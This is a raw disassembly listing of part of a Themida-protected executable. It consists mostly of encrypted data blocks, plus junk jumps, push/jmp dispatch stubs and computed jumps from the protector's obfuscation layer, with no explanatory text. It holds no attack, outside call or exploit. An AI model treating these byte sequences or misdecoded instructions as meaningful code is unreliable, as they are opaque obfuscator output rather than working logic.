loc_5EEEFD: ; CODE XREF: Themida_:005EEEF6j
mov eax, [eax]
clc
mov [ebx+4], eax
jmp loc_5EEF1A
; ---------------------------------------------------------------------------
dd 961CE9D0h, 7136BC34h, 6A84952Bh, 0AB1C4CE5h
db 0E4h, 1Fh
; ---------------------------------------------------------------------------
loc_5EEF1A: ; CODE XREF: Themida_:005EEF03j
cmc
loc_5EEF1B: ; CODE XREF: Themida_:005EEEF0j
mov ecx, 234CF6h
jmp loc_5EEF3A
; ---------------------------------------------------------------------------
db 0D1h, 58h, 0B9h
dd 76h, 3 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5EEF3A: ; CODE XREF: Themida_:005EEF20j
jmp loc_5EFA07
; ---------------------------------------------------------------------------
push 7AEDC9Ah
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7AEDDA9h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7AEDF52h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7AEDFFDh
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7AEE139h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7AEE303h
jmp loc_595E45
; ---------------------------------------------------------------------------
push 7AEE41Ah
jmp loc_595E45
; ---------------------------------------------------------------------------
mov ecx, 8EE1F00Eh
pop esp
retf 68BBh
; ---------------------------------------------------------------------------
dw 0A670h
dd 7D874497h, 53AF1B6Eh, 5FE00344h, 35889763h, 0D606F87h
dd 0E63948DEh, 0D81423F5h, 1D148EF7h, 0FB967A14h, 12E4D554h
dd 0D05A9320h, 0B960AC1h, 6A2275DEh, 485F7A0Dh, 0F5F809Ah
dd 0E0BE9D8Fh, 0C86ABD1Ah, 6EB8344Bh, 0BFB14575h, 0FCCECEEFh
dd 0D06085B5h, 0B3516BE6h, 0C6505AF4h, 1DBB80EFh, 306C580Dh
dd 52D20Fh, 718B0000h, 0DE47742Fh, 7A0D48C5h, 0EF3A67E7h
dd 0BD3C1C86h, 99518E6Ah, 8FCB9B8Dh, 6B85466Eh, 8F3C639Ch
dd 0B7B38375h, 0F1121EABh, 0BCED2E70h, 0D026956Ah, 8E9851DEh
dd 397379Ch, 68425C70h, 0D090F929h, 11F05E6h, 546E0000h
dd 0EC97A2Ah, 3F5273FCh, 2D8487A1h, 9F074229h, 75F7D0A3h
dd 67887821h, 83758738h, 940E77C2h, 3472660Ch, 59EA1C4Dh
dd 5F9CB63Bh, 0D5A59763h, 9D497899h, 8E3D5481h, 95B68678h
dd 2595AC6Dh, 0EE0FDFD1h, 823F0EBFh, 7AB68678h, 38C2FB88h
dd 5CE88429h, 46777265h, 9952A5B4h, 0D4101ED2h, 0F4AFF1E2h
dd 8F137CC7h, 1B726553h, 0CC177A9Bh, 0D1F204B5h, 0D78D350h
dd 4A59D97Ah, 0E53FACC3h, 2D534FB8h, 0D7576ABDh, 267D23B6h
dd 0DD3190F9h, 37B77267h, 0B74BF0Ah, 63127C97h, 556FB934h
dd 1A56A018h, 421CCAF9h, 3629C18Ah, 505F9B63h, 1F35C1FDh
dd 2DB5A0CBh, 56A17C14h, 3B000008h, 1063728Ch, 0EA3D4CDEh
dd 0C61928F6h, 9DF0FF19h, 85C6D521h, 1DF9E55Eh, 0F501BB0Eh
dd 0CE5893E6h, 0A9736CBFh, 147D5E9Ah, 7A141E8Eh, 0A1DA811Ch
dd 4959A487h, 4BB4AD48h, 72655E57h, 7697D353h, 707F9B47h
dd 4B5AAC1Dh, 885F79C4h, 994E25F9h, 0FA4260ABh, 2B687265h
dd 62763BFh, 508AA1F3h, 0E304D4C6h, 2C595050h, 0D48E0C3h
dd 56EB97Ah, 6ABD3C9Dh, 0E18D00Dh, 17104C1Ch, 0DF2F50AAh
dd 108E6D5Fh, 986ABD3Ch, 35652C7Eh, 41E6D042h, 0BBh, 12E4D5FAh
dd 0E579320h, 875749DFh, 0F27A594Bh, 6D726546h, 489BAA7Ch
dd 0D2938597h, 873900BBh, 0BC493B77h, 98B9F50Fh, 0E3109B05h
dd 0D62A97Ah, 38C3037Ah, 0CA79DDB5h, 0CE933120h, 5E9A123Dh
dd 445C1322h, 0CEE5305Dh, 4616081Eh, 1E0CA425h, 7ABA7267h
dd 0B51E13B0h, 6311F8EDh, 0C9413DBDh, 0BFEC2814h, 0A8233AA8h
dd 0C013225Eh, 5AE2F802h, 0CD2DB443h, 7475A35h, 0BD2C0000h
dd 0C9015463h, 0E5DB2E3Dh, 0AB70A19h, 508EE1F0h, 6D76B7C6h
dd 0FD0C16D4h, 0D5E432AAh, 0AEBD4B82h, 8998625Bh, 9F036C4Dh
dd 0B7A141Fh, 0E9D5C970h, 42EFB31Ch, 3BBB7265h, 2C9DF0FFh
dd 0D594CBDAh, 932012E4h, 0AC1D05Ah, 0CAE84B96h, 7183C78Dh
dd 3773AF7Fh, 30A8BF0Ah, 3F44C5E6h, 2D7A0DACh, 0BD2EBBADh
dd 0B0DF11ABh, 5412BDAh, 0E02AA3F6h, 13B00FEEh, 0E179F204h
dd 3ACCFDC9h, 15E7D82Bh, 0CD5B4423h, 706AE377h, 0BB27B4A6h
dd 0BDB36D5Fh, 7A7096EDh, 0D3259620h, 30233DC4h, 11EBD8CFh
dd 8B692E15h, 0AECF5992h, 0CABC4E7Fh, 782BB0EBh, 0EEBC0EE3h
dd 0E815E7D8h, 0F9D9BCEh, 776DFCA6h, 322EAEE3h, 585428EFh
dd 85195B72h, 86CBECA9h, 5E96E5FFh, 2FAED233h, 1CEEDF0Eh
dd 11EBD8EFh, 0C9D7C8F0h, 0AB4CB5E2h, 96EB1F79h, 51C0E24Bh
dd 0D30BDBCFh, 8CAD2D47h, 0F6ADBC3Ch, 69D2FFAAh, 0E37757DAh
dd 0C1A09212h, 0D4274ADEh, 9918B2CCh, 7D663069h, 33175h
dd 0D7062E00h, 5A87227Eh, 1BE8743h, 0F93505F7h, 132A75D8h
dd 8C5C4ED8h, 0ACCD5993h, 0D488C2Bh, 0A11E357Ah, 66E63657h
dd 0EE8F613h, 0A9F7EBCCh, 3F8AD502h, 9B52FE25h, 752CBF3h
dd 0E9AEC89Bh, 0B15D20Fh, 522DAECFh, 12F156D5h, 0C8DFA092h
dd 0CF654610h, 3386CC02h, 5D43D6F7h, 89C55189h, 8393455Ch
dd 2296FF62h, 0B4E9B205h, 0A2BC0734h, 0FA45CF9Eh, 0F3E5FD0h
dd 0EA3D4CDEh, 0A37D6AF1h, 8FA5E1B1h, 0BAED0FD7h, 9EFDD870h
dd 83000005h, 58ABBA44h, 32859466h, 0E6170BEh, 0E53847D1h
dd 0CD0E1DF9h, 65B12D16h, 3DC90356h, 16E0DB2Eh, 0F13BB407h
dd 5CC5A6E2h, 7A142146h, 7122C964h, 0DE47742Fh, 7A0D5EA5h
dd 0C85547C7h, 0AF130517h, 0DBC5BD0Dh, 548CA3D0h, 0E708D8CAh
dd 42681B84h, 0C7047265h, 0B5C4001Ah, 55A1172Eh, 85D40534h
dd 9082BE58h, 4E40CA03h, 0BA0C9E94h, 59D0601h, 0A563150Ah
dd 52DAE925h, 0EE787422h, 2212Eh, 2F71E700h, 80DE4774h
dd 0A27A141Dh, 0E0DEF522h, 36B40716h, 821BFAECh, 3F6AB668h
dd 0FA667C8Eh, 3D254958h, 4F3CAA5h, 0E9D80000h, 3DAD000Fh
dd 5187DAE9h, 6663B6C5h, 8C3A8D9Ch, 0C1226372h, 0A9B84280h
dd 81906656h, 5A69BF2Eh, 3544D607h, 0F3AF18F9h, 0B77A1420h
dd 2F71751Ch, 80DE4774h, 0A27A141Dh, 52DBF522h, 0FFFAEF7Eh
dd 89163E5Fh, 64B7C650h, 22AFA16Bh, 0B36D5FA9h, 0E0D9EDBDh
dd 4F7F0716h, 5BE6D6EAh, 196h, 12E4D514h, 0D05A9320h, 0B960AC1h
dd 782A93DEh, 32726542h, 0C52E91B2h, 7A0D6AD2h, 0FE1542C2h
dd 0EF1738CEh, 0BD1A8E10h, 0AA001A6Ah, 6E349DE8h, 5A6ABD1Ah
dd 0AF923FEDh, 7AFA145Ah, 38C5F559h, 25D1E6D0h, 8A000000h
dd 47742F71h, 0D48C5DEh, 7567E77Ah, 0BD3C0896h, 3486A06Ah
dd 0D0423D6Dh, 0DF0C23E6h, 0B4E72445h, 0A0000000h, 2012E4D5h
dd 0D9CB5793h, 2F98934Ch, 72654273h, 0A2946658h, 0FC38B8D2h
dd 0BA4C7D0Ah, 476606ABh, 0AEC57265h, 24F4E630h, 111BD403h
dd 4E554B02h, 0EB76B821h, 0EE397A0Fh, 0BA901D85h, 0EC0D8D6Ah
dd 5045C9Ch, 987739A3h, 7BE42F5Ch, 6ABA9427h, 7FE20383h
dd 91A07A68h, 0D1B6803Eh, 0AEF6764Dh, 5F031955h, 0D0254D6Dh
dd 3B75D38h, 2D9C0000h, 7971C4D3h, 954B9EADh, 0BA277A89h
dd 0C0FE5160h, 0FDE62736h, 6D7C8644h, 4554A21Ah, 1E2DFBF2h
dd 0F90812CBh, 2F73DCBDh, 7B7A1423h, 0E9D539E0h, 32ABFE0Dh
dd 3B52D9E8h, 3B77738Fh, 0BCB4E2AFh, 0D5E7FA1Bh, 5F2012E4h
dd 5F809A48h, 5E6DBF30h, 85B2F9A7h, 0CEB9203Ah, 0FBFF9C56h
dd 289E59DAh, 89A37A0Eh, 7F70D6D0h, 774AB1ADh, 0B63686A7h
dd 0B07E7289h, 0A5CDEEBEh, 191CCDE4h, 0BE1BF2B0h, 0FC38B86Ah
dd 98193A0Ah, 6ABE1B08h, 540E9C92h, 0A7FB644Ch, 36ABE1Bh
dd 1B792992h, 0B1316ABEh, 0C10C3975h, 72A5CBA7h, 548C89EAh
dd 0CC08D8CAh, 0A6CD2AABh, 7877265h, 0E4D5C1F8h, 5A932012h
dd 960AC1D0h, 2275DE0Bh, 727A0D6Ah, 7D2100F2h, 2B6ABD1Ah
dd 0AD6E94AEh, 0E3598615h, 0A9E8C2C2h, 0E6D04879h, 4485h
dd 0E6D7EE00h, 31522214h, 742F711Eh, 48C5DE47h, 67E77A0Dh
dd 5BA7233Ah, 50789969h, 0BD3C2D71h, 0E28966Ah, 0A028A883h
dd 0D1C3FF87h, 0AC38A44h, 6DD2C400h, 92A6FDCDh, 2F5F2278h
dd 3BE6D102h, 0EDh, 12E4D5F4h, 0CB579320h, 25B879Eh, 79493BC5h
dd 67F41C3Dh, 0F1B2A476h, 2517E1DAh, 97615C55h, 0C4964776h
dd 0D128988Bh, 0E3F22E28h, 65602E3Eh, 6EB83172h, 66B02A41h
dd 56D2D039h, 58D87265h, 2E9FF237h, 0A7F9EADCh, 566CFFCh
dd 377A0D65h, 0ED0150F7h, 0A8D5BB70h, 0BD48633Fh, 8BC7476Ah
dd 0EEDEF57Ch, 35562618h, 49B2FEA2h, 6ABD4859h, 6895D151h
dd 67F929FFh, 0E00D8D72h, 0F2011DC9h, 0AC1A239Fh, 63906052h
dd 1298A8FAh, 46820263h, 0B5291030h, 805BF32Dh, 1EDh, 0FA0917D2h
dd 0D4E337A7h, 0B0BF4F81h, 8796605Dh, 5D6CB634h, 4876C71Ch
dd 904C9FAEh, 0A9247786h, 0CCFD505Fh
dd 0EEF2B3Ah, 1424FDA5h, 6B12AD7Ah, 0E00DE9D5h, 0E0011DC9h
dd 8597489Bh, 3CF93E58h, 0DEDA24A1h, 0CECAF46Dh, 2A74BCD7h
dd 236889D9h, 0B42F71ECh, 0D6381F9Bh, 0CCF9351Bh, 0E064063h
dd 0A52C6C7Ah, 7F9745CAh, 24C1BD8Dh, 5B4D8966h, 0BE36227Ch
dd 5E6C866Ah, 0CF482353h, 0D82FE6h, 0A1E80000h, 0D1C35D8Ah
dd 38B1E001h, 0F03BFCEEh, 65421B87h, 9A528F72h, 8ECA9A8Ch
dd 76803E6Dh, 19752F49h, 39F2DA14h, 5B11F018h, 0D0726626h
dd 4F600B9h, 0EBE41334h, 0EBF1221h, 87190AFCh, 0E4D8EF1Ch
dd 258EF112h, 7A0E2B46h, 324976F6h, 0A4F70BEh, 0FC654D53h
dd 6ABE0DA6h, 0CF888404h, 0D2C26C20h, 4FB8E521h, 7267F67Ah
dd 0BAD1FE7Eh, 6E88350Ch, 859C2332h, 41CEC056h, 113E7A84h
dd 129BFAA8h, 0F30B063h, 218E2E0h, 2DB525ECh, 0D64823BBh
dd 0BB000000h, 90E3F20Ch, 6ABDCC5Eh, 4699A876h, 1D707F99h
dd 54655A1h, 9D7965DEh, 75813B8Eh, 4ED81366h, 29F3EC3Fh
dd 94FDDE1Ah, 7A14260Eh, 0D55A019Ch, 77FE0DE9h, 0A6986260h
dd 5586B5D6h, 743D506h, 0E4D5C1F8h, 5A932012h, 203AC1D0h
dd 79296EDh, 0EA3CAF74h, 0F3EC28F8h, 7B0E2FFBh, 0E8517E25h
dd 7A147372h, 2407B95h, 2521FBE8h, 0FB1C23BDh, 0E7FE2BABh
dd 0D7FF20FAh, 7887914Ah, 7062B425h, 0CE2D1F91h, 4654ECDBh
dd 20B8223Ch, 0F8975857h, 0D5F632C4h, 0D4E335A6h, 361E334Dh
dd 5C0BF5C3h, 49D30C3Bh, 31DCA57h, 0BF0BAD11h, 3764B627h
dd 6759A320h, 2517E1DAh, 0B3F81955h, 0AB9D6F60h, 6C369FEAh
dd 3EF99F08h, 214C5BEh, 364E1h, 0E59D0000h, 0CEAD562h
dd 0CA5C8D1Ah, 86904BD8h, 41D50794h, 0FA04C24Fh, 0B34F7B08h
dd 6DB734C1h, 2CFAEE7Bh, 0E93DAD3Ah, 7B6879F7h, 89000004h
dd 0E589242Ch, 4C581h, 0ED830000h, 242C8704h, 0E289525Ch
dd 4C281h, 0EA830000h, 24148704h, 2414895Ch, 204368h, 24348900h
dd 1458BF57h, 0BB5316FDh, 6D0275C3h, 815BDF01h, 6E2198C7h
dd 0AFF78106h, 898DC370h, 8B545FFAh, 0C4812434h, 4, 0C7BA5252h
dd 31076C00h, 5A042454h, 8108468Fh, 0C70876h, 34FF076Ch
dd 0C4835E24h, 2434FF04h, 4C4835Ah, 0FA6444E9h, 0CE0B50FFh
db 3Ch, 0A1h, 1Ch
; ---------------------------------------------------------------------------
loc_5EFA07: ; CODE XREF: Themida_:loc_5EEF3Aj
mov eax, 7AEE515h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 0CA3A297h, 569C128Ch, 704A0459h, 6FC8FC58h, 7BAC96D7h
dd 2AFE0759h, 4E502581h, 0FE8h, 0B97DD100h, 0BAA6D074h
dd 0B4ABCCD0h, 0AADBDC82h, 13E85Bh, 66EA0000h, 1AD31195h
dd 0B1C71A39h, 0DFA11173h, 0D6CB0AF7h, 0CE981h, 0F91B0000h
dd 6AE03203h, 5D8436E9h, 815E12C2h, 71ECC3h, 0C7816600h
dd 0C0335CA8h, 4840Fh, 0BA660000h, 0C8B9581h, 0D45EBF03h
dd 0C18146CDh, 5D7D5B5Ah, 0CE9h, 941EAF00h, 22C58C83h
dd 893B3C68h, 0F7E981F8h, 665AEBF0h, 0F181D18Bh, 22B3A11Fh
dd 2860Fh, 0D68B0000h, 60030C89h, 5047C981h, 0EE954F2h
dd 92000000h, 0C5CA93B9h, 8B36C690h, 0E676495h, 0E88361DAh
dd 14800F04h, 0E9000000h, 0Fh, 29133C00h, 0CC52EB1Bh, 4A18272Dh
dd 8154358Eh, 0FF8EECF8h, 83850FFFh, 0FFFFFFFh, 880h, 0B8666000h
dd 5B501C69h, 8D8D8D61h, 6007AEE7h, 5B616057h, 68E0Fh
dd 85890000h, 7A81941h, 318D8961h, 6A07A817h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 9028C351h, 0EE9h, 42772E00h, 0AA3D23E6h, 0DCF3D89Ch
dd 3333D2DAh, 0A80019BDh, 5985C707h, 7C07A80Ah, 6A00006Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h
dd 41000000h, 89DEC351h, 0A8136D9Dh, 2850F07h, 0B0000000h
dd 3985C759h, 7A809h, 80000000h, 890F39C6h, 8, 860F57h
dd 5A000000h, 10A9B5FFh, 6A07A8h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 66ED83C3h, 0FF7AD0BAh
dd 0A81A9995h, 810F6007h, 6, 84C1EE81h, 0BB666924h, 6A611278h
dd 2195FF00h, 8B07A80Dh, 0A349EBC0h, 358B5E0h, 2C7E8AC3h
dd 3A07DADBh, 0EEDBE049h, 0CA2FBADFh, 80F4A8D9h, 0F7D86039h
dd 0ABC7240Dh, 15EEF1A1h, 36FF46B8h, 0A3BB6F42h, 615DDDB6h
dd 1248C48Ah, 0F5469EF3h, 418FB456h, 0F3C37A50h, 0C335A7D9h
dd 0D5E389D4h, 13E8h, 1337B400h, 9A4CBBBAh, 3A5846CBh
dd 791EFA24h, 0A8C983FFh, 59DF8B66h, 6890Fh, 8D890000h
dd 7A80CF5h, 5E07C181h, 0E9600000h, 14h, 988BFBD0h, 0CCA68A0h
dd 0FB044ED0h, 0EE84894Fh, 72C64472h, 68E0Fh, 0D8810000h
dd 474AB409h, 1757BF61h, 95890000h, 7A828D9h, 0F57018Bh
dd 815AD3B7h, 3BDBF7C0h, 0D381664Eh, 0C0814890h, 5635823Ch
dd 81DF8B66h, 0C7D5B8E8h, 50D68B1Ah, 212D9D89h, 18F07A8h
dd 3559958Bh, 0E98307A8h, 6820F02h, 23000000h, 0A81CD195h
dd 4F494907h, 0FFB6850Fh, 8B60FFFFh, 0A81B7D9Dh, 61C18B07h
dd 13E8h, 63BA300h, 0B76BF421h, 74E0DC61h, 1B9B4389h, 90214ACDh
dd 9E953h, 57570000h, 15BBA910h, 5E4D0743h, 0C081F558h
dd 6CD5h, 0FDBD2B60h, 3307A82Fh, 0A80E1D85h, 7B96107h
dd 6600001Bh, 97A6E281h, 0B53130FFh, 7A807E1h, 2078BA5Fh
dd 0C7813DD1h, 16D83A21h, 1B8DB58Bh, 0F78107A8h, 0DDAB844h
dd 4AC28166h, 0AFF78163h, 8948522Ah, 0A81861BDh, 89388907h
dd 0A82AC995h, 0E4E88107h, 291F5548h, 0A82A6D85h, 0E0C08107h
dd 8A1F5548h, 1E983F3h, 10850Fh, 0DE810000h, 43883D0Bh
dd 19E9h, 0B7931400h, 9589A7F9h, 7A80AD5h, 0FFFF8FE9h
dd 5ED287FFh, 0E1286E78h, 8D8DD739h, 7AEEA36h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 18C35747h, 1CBE3518h
dd 896C567Dh, 0A817318Dh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 8AAC5E5Eh
dd 0F1A5021h, 880FD0BFh, 5, 22E68166h, 5985C78Bh, 0AC07A80Ah
dd 0E9000072h, 8, 8689F182h, 0D7710A05h, 93985C7h, 7A8h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0A2C1DEC3h, 8BA3735Bh, 0A8036585h, 0F5958907h
dd 0FF07A830h, 0A805FDB5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B1A486F6h
dd 1A9995FFh, 0BD8B07A8h, 7A81DEDh, 95FF006Ah, 7A80D21h
dd 5BEBC08Bh, 0DB4E7183h, 4CEBDD8Ch, 8BCA62Ah, 5A1F5463h
dd 0D8560184h, 197F269Dh, 3081B480h, 8341E02Fh, 0EDAA746Bh
dd 0C64CC72Fh, 0BBBE3ACAh, 0FEDCB700h, 0D100455Ch, 79A60EBh
dd 0DC3AA07Ah, 0E32C6653h, 38FDEC8Eh, 9745CD2Ch, 0C0E02817h
dd 513411DCh, 89F59B05h, 0D454BAE2h, 0E98A69A8h, 20h, 7DFE3B0Bh
dd 7 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5F0447
; ---------------------------------------------------------------------------
push 7AEEBCEh
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AEEC35h
jmp loc_58941B
; ---------------------------------------------------------------------------
push 7AEEDA9h
jmp loc_58941B
; ---------------------------------------------------------------------------
db 0E9h
dd 311A2F28h, 765F7463h, 0B7A0B5A2h, 0F6DFF4E3h, 0D1B3027h
dd 2D2AE9BCh, 6F682F18h, 0B3A4715Ah, 0F2E5B59Eh, 185EFDDDh
dd 0CBAA86E2h, 0C7A04EE8h, 0BB380314h, 3DE7FC1Bh, 0BA0FFCD8h
dd 0F6C1D681h, 34211129h, 3ADB0199h, 56244633h, 720C1E0Fh
dd 78B36Dh, 0DD1B7C40h, 245EE8C5h, 3FDB01AAh, 4C4B0942h
dd 0A7BFD87Bh, 3D75218Ch, 4E3FFC7h, 2F9h, 0EBECB0E9h, 553B5320h
dd 65876FC3h, 0E58FAEC7h, 0D4C3967Bh, 611B3C09h, 1D450A7Dh
dd 0C2667E69h, 4E948155h, 0DB00FE2Dh, 35032C33h, 0D8666474h
dd 68558196h, 1A3DDA13h, 7A6A824Fh, 0E00E7CD5h, 0CB09D4DBh
dd 7B9D8A4Ah, 0E27525ADh, 2C2B439Eh, 0B7698BE6h, 9D8A91E7h
dd 0EB182648h, 0C7F566E0h, 0D0ACCAFh, 1FBAF3F8h, 48602DF8h
dd 0AAA2B565h, 0E76BC6D3h, 6AEFC75Ch, 0F9000003h, 412A3F58h
dd 866F8493h, 0C7B0C5D2h, 6EF0413h, 1D2B4057h, 3D5AF9ACh
dd 7F983F28h, 0C3D4816Ah, 215C5AEh, 286E0DEDh, 0CBAA84F2h
dd 6B05EF8h, 57401511h, 0B19EBF8Ch, 9CB4A378h, 490F489Dh
dd 0AB46364Eh, 0B1DB085Ah, 0D184BDAAh, 15C8B1C6h, 72AD3702h
dd 55DB085Ah, 0D59A9285h, 42F4983Ch, 303D5ADh, 0C1920000h
dd 4D8C1D6h, 4315FE13h, 80563F54h, 0FA998297h, 0FBAC8DDh
dd 0BBD0C796h, 0FB1007D2h, 3D524512h, 80958254h, 85BB01A0h
dd 8BCBAA84h, 56AB43F1h, 5970DA10h, 0C1D9E0D3h, 0EFDC381Dh
dd 85B0EA9h, 420D14DBh, 85B7EB8h, 158099DBh, 7463316Ah
dd 0C4C4DCA9h, 0E3F6E88Eh, 1B853h, 17C75100h, 3EDA1300h
dd 0DEA9AE69h, 0BD03F011h, 0D3597087h, 916E868Dh, 0F3A54214h
dd 9DD6C3E4h, 9FC6DEF9h, 0C7B460F5h, 1984081h, 6CB207DBh
dd 0DB019836h, 5D1D353Ch, 6E306956h, 0B9D19E69h, 981852DCh
dd 1A33DB01h, 254F03AFh, 8DAFE3F0h, 4EC62CFEh, 7B97AF8Ah
dd 5Dh, 0C5110679h, 0DEF99FD8h, 0FE347A13h, 4D3596Fh, 0A9EFDCFDh
dd 0D3597073h, 5B5A7279h, 90ECD06h, 76CC01F1h, 32D2DB01h
dd 0EF3534A0h, 0DB01C3B9h, 0F0FEB8BFh, 653051C8h, 257A1DBh
dd 38A3BCDBh, 0FF18C68Ch, 59FF38E3h, 0D10A263Eh, 0EF000000h
dd 4F1E6B6h, 24B88BEh, 6F878EDBh, 17C789h, 0F2E5B835h
dd 0EFE8AA27h, 0E0F7A724h, 0CF8DC6CBh, 64C0B0C8h, 47D35975h
dd 0C16B8097h, 386EB454h, 3ED35975h, 0D4291637h, 0C3DBFC9Bh
dd 42329D3h, 3B282FDBh, 67899F19h, 4860F7FFh, 4A4D1049h
dd 6572245Dh, 8EB5CD9Ah, 6331F6A5h, 5B5374h, 81F49CC0h
dd 18F14ECh, 7D1E0000h, 0B85C455Ah, 0F7A18A9Fh, 34E2CBE0h
dd 76250E23h, 8B3E4C61h, 475C7B1Ah, 879CBB5Eh, 0C9DEF99Eh
dd 4193EE0h, 93F8524h, 0FCBAA83h, 56ABC775h, 8D587F1Dh
dd 70ACE2C0h, 12B2D359h, 0A49227CAh, 0CCE40591h, 1B612AE9h
dd 0D35920E5h, 213066ACh, 2F36D359h, 44597A81h, 0C03BB5Bh
dd 0FF20D452h, 5F4B6081h, 350017C7h, 0DCF1E6B8h, 4F12532h
dd 1BED1BEh, 0E3D0D7DBh, 983CEBAAh, 0EFE8AE7Fh, 21365724h
dd 1BDF12Bh, 1502D4DBh, 53441700h, 549AEF88h, 0DB01BE1Eh
dd 0C7051D24h, 0EDh, 2C110609h, 0E767A39Fh, 3A274896h
dd 0C7955201h, 17E4AFD0h, 56AB00FFh, 5925DA10h, 0C1D9E0D3h
dd 81032D1h, 663138DBh, 412E29E9h, 79445308h, 686D94ACh
dd 0B6CCEE46h, 0F30B44AAh, 377D4E10h, 0DB07D301h, 14DF0007h
dd 8790427Bh, 0E7D7EFBCh, 55589F09h, 5F2A2DECh, 0FC8836E2h
dd 0C63C49Ah, 8FD8A3C4h, 0D584137Eh, 1AF9A1C2h, 8032B8F8h
dd 0BBEB7823h, 6621C12h, 344F6760h, 83C91EC9h, 5558EE4Dh
dd 51344C53h, 98819681h, 637421C6h, 0C11CB98h, 0B5F2D485h
dd 0EA673253h, 0E5602B2Ch, 0CD22CD38h, 59445187h, 9CD21855h
dd 0A2555944h, 0CEE6ED9Bh, 27932BEBh, 0FF2FEF04h, 555A6F90h
dd 8E84BA00h, 838A5558h, 29F4E3B2h, 0B161445Ch, 1603DBA6h
dd 2C000000h, 0A6E9DE0Ah, 18309FCFh, 1056AB32h, 0D35970DAh
dd 0F3C1D9E0h, 116C755h, 0FE19B936h, 0F6E1B633h, 0ECEBAE2Bh
dd 0E6F1A421h, 0D8FF9E1Bh, 0CDCA900Dh, 0C4D38502h, 0BFD87CF9h
dd 2F683CF4h, 89000038h, 0BF68240Ch, 89000064h, 8952243Ch
dd 4C281E2h, 81000000h, 4EAh, 24148700h, 240C895Ch, 13C8B850h
dd 0BA5226B5h, 1F0628EAh, 895AD029h, 8B5458C7h, 0C481240Ch
dd 4, 8B850h, 0C8010000h, 48B3889h, 4C48124h, 8B000000h
; ---------------------------------------------------------------------------
or al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_58941B
; ---------------------------------------------------------------------------
cdq
retf
; ---------------------------------------------------------------------------
db 0BFh
dd 39E38D8Dh
db 31h, 5Ch, 66h
; ---------------------------------------------------------------------------
loc_5F0447: ; CODE XREF: Themida_:005EFF24j
mov eax, 7AEEF5Dh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 72DFFD27h, 5EEAF8B6h, 5F69D249h, 5174C0B4h, 52158D58h
dd 7976A9E8h, 72189465h, 7D65911h, 0B2DCF03h, 271C284Ah
dd 27665087h, 78847618h, 65C52BAAh, 5E09DE29h, 1C37988Ch
dd 6242D68Bh, 17B9817Bh, 1252BC76h, 4AF05DEh, 0B2D190Ah
dd 77CDEBFCh, 13713A97h, 2C6DDA44h, 3B9450D5h, 54BA58C0h
dd 6F9B027Bh, 9D59F55h, 34E6B4ACh, 0F1428D8Dh, 6A07AEh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0F9177C3h, 894055B7h, 0A817318Dh, 318D8907h, 0C707A833h
dd 0A80A5985h, 5BD807h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 3C17361h, 0A8105585h
dd 3985C707h, 7A809h, 89000000h, 0A80F39B5h, 0BA665607h
dd 0FF5FA058h, 0A805DDB5h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 9529EF5Fh
dd 7A832C1h, 97FCDE81h, 0DE922CEh, 37000000h, 0A984C227h
dd 0AFABC5A7h, 0B2B82162h, 1A9995FFh, 6A07A8h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0D3A029C3h, 958B563Bh, 7A81DD5h, 95FF006Ah, 7A80D21h
dd 69EBC08Bh, 199376E6h, 0ABC20CFCh, 0A0759392h, 0BB81C1AFh
dd 0AACED18Dh, 89E0E78Fh, 7A1F3427h, 0A8839088h, 6EBD750Eh
dd 3682561Bh, 0DEBC1CEFh, 0B3E37FF0h, 7737F00h, 0BFC778BDh
dd 914758A9h, 87BCB3BFh, 88555EAh, 614849D2h, 26A7348Fh
dd 55DBFD61h, 0FCF0450Ch, 0E4F4DCB5h, 4A4914D6h, 7E11C605h
dd 0A7C73069h, 3038F183h, 848D8D7Ch, 6A07AEF2h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 123CC351h, 8D8962FFh, 7A81731h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 0DEC35646h, 0E9AB4FCDh, 81A4AA95h
dd 71C0BFC2h, 5985C76Ah, 7807A80Ah, 8B000067h, 0A8100985h
dd 3985C707h, 7A809h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 72FCC351h, 9D8B421Ah
dd 7A80315h, 1E21BD8Bh, 0B5FF07A8h, 7A82641h, 9589FE8Bh
dd 7A808A1h, 1A9995FFh, 0FE807A8h, 4E000000h, 5A37651Eh
dd 51FB46ACh, 83F072E2h, 858BEB48h, 7A827EDh, 0EB816658h
dd 6AD7F9h, 0D2195FFh, 0C08B07A8h, 50E819EBh, 461B3EDBh
dd 98615BA8h, 0C4BBF2A6h, 31400D5Bh, 0BB8CB9A5h, 0E82EFFEEh
dd 0Bh, 3790FC5Dh, 7FFB549Fh, 8165AFC4h, 773BE0E3h, 0CE85F09h
dd 0D3000000h, 29DFB3B0h, 0CE34986Fh, 0F807FD7h, 686h
dd 800F00h, 5B000000h, 73FBC781h, 10E90000h, 1000000h
